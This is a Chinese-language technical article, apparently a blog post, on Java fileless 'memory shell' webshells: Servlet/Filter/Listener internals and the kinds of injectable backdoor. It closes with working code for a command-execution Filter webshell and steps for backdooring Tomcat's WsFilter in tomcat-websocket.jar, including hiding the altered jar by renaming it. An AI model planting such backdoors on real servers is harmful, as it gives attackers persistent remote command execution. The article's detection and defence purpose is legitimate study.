什么是内存马
内存马又名无文件马,见名知意,指的是无文件落地的webshell;由于传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出了一种新型的内存WebShell技术,其核心思想用一句话概括,即:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门。
这种动态注册技术来源非常久远,在安全行业里也一直是不温不火的状态,直到冰蝎的更新将 java agent 类型的内存马重新带入大众视野并且瞬间火爆起来。这种技术的爆红除了概念新颖外,也确实符合时代发展潮流,现在针对 webshell 的查杀和识别已经花样百出,大厂研发的使用分类、概率等等方式训练的机器学习算法模型,基于神经网络的流量层面的特征识别手段,基本上都花式吊打常规文件型 webshell。如果你不会写,不会绕,还仅仅使用网上下载的 jsp ,那肯定是不行的。
内存马搭上了冰蝎和反序列化漏洞的快车,快速占领了人们的视野,成为了主流的 webshell 写入方式。作为 RASP 技术的使用者,自然也要来研究和学习一下内存马的思想、原理、添加方式,并探究较好、较通用的防御和查杀方式。
内存马写入方式
目前安全行业主要讨论的内存马主要分为以下几种方式:
动态注册 servlet/filter/listener(使用 servlet-api 的具体实现) 动态注册 interceptor/controller(使用框架如 spring/struts2) 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等) 使用 java agent 技术写入字节码
Java web三大件
Servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理过程
客户端发起一个http请求,比如get类型。 Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。 Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。 Servlet容器调用service()方法。 service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。 doGet/doPost方法中是我们自己写的业务逻辑。 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。 容器关闭时候,会调用destory方法
servlet生命周期
服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。 servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行 服务器关闭时,销毁这个servlet对象,执行destroy()方法。 由JVM进行垃圾回收。
Filter
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
基本工作原理
1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。 2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。 3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。 4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。 5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。 6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
Listener
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
ServletContextListener:对Servlet上下文的创建和销毁进行监听; ServletContextAttributeListener:监听Servlet上下文属性的添加、删除和替换; HttpSessionListener:对Session的创建和销毁进行监听。Session的销毁有两种情况,一个中Session超时,还有一种是通过调用Session对象的invalidate()方法使session失效。 HttpSessionAttributeListener:对Session对象中属性的添加、删除和替换进行监听; ServletRequestListener:对请求对象的初始化和销毁进行监听; ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
内存马种类
Filter 内存马
Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
使用 ServletContext 的 addFilter/createFilter 方法注册; 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册; 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册。
Servlet 内存马
Servlet 是 Server Applet(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。
Listener 内存马
Servlet 和 Filter 是常接触的两个技术。
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。
Spring Controller 内存马
在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。
所谓 Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程
Spring Interceptor 内存马
这里的描述的 Intercepor 是指 Spring 中的拦截器,它是 Spring 使用 AOP 对 Filter 思想的令一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。
Intercepor 主要是针对 Controller 进行拦截。
Tomcat Valve 内存马
GlassFish Grizzly Filter 内存马
Java Agent 内存马
Tomcat 特殊内存马
Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
将恶意代码注入到Tomcat默认存在的Filter中
演示
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; @WebFilter("/test") public class Filter implements javax.servlet.Filter { public void destroy() { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { // 命令执行 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.equals("")) { Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); response.getWriter().print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } response.getWriter().print(outStr.toString()); response.getWriter().print("</pre>"); } } public void init(FilterConfig config) throws ServletException { } }
构造
在目标 Tomcat/lib 下找到 tomcat-websocket.jar
找到WsFilter的代码,在doFilter中插入一些代码
package org.apache.tomcat.websocket.server; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /** * Handles the initial HTTP connection for WebSocket connections. */ public class WsFilter implements Filter { private WsServerContainer sc; @Override public void init(FilterConfig filterConfig) throws ServletException { sc = (WsServerContainer) filterConfig.getServletContext().getAttribute( Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 不改变原有逻辑,在这里插入代码 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.equals("")) { Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); response.getWriter().print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } response.getWriter().print(outStr.toString()); response.getWriter().print("</pre>"); } // This filter only needs to handle WebSocket upgrade requests if (!sc.areEndpointsRegistered() || !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) { chain.doFilter(request, response); return; } // HTTP request with an upgrade header for WebSocket present HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; // Check to see if this WebSocket implementation has a matching mapping String path; String pathInfo = req.getPathInfo(); if (pathInfo == null) { path = req.getServletPath(); } else { path = req.getServletPath() + pathInfo; } WsMappingResult mappingResult = sc.findMapping(path); if (mappingResult == null) { // No endpoint registered for the requested path. Let the // application handle it (it might redirect or forward for example) chain.doFilter(request, response); return; } UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams()); } @Override public void destroy() { // NO-OP } }
编译WsFilter.java生成WsFilter.class字节码文件
然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了
缺陷
依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库
(其实服务端的Tomcat重启概率不算低,很多情况都会重启)
第二种:目标服务器下载一个tomcat ,更改端口并启动
隐藏方法
tomcat-websocket-9.0.50.jar tomcat-websocket .jar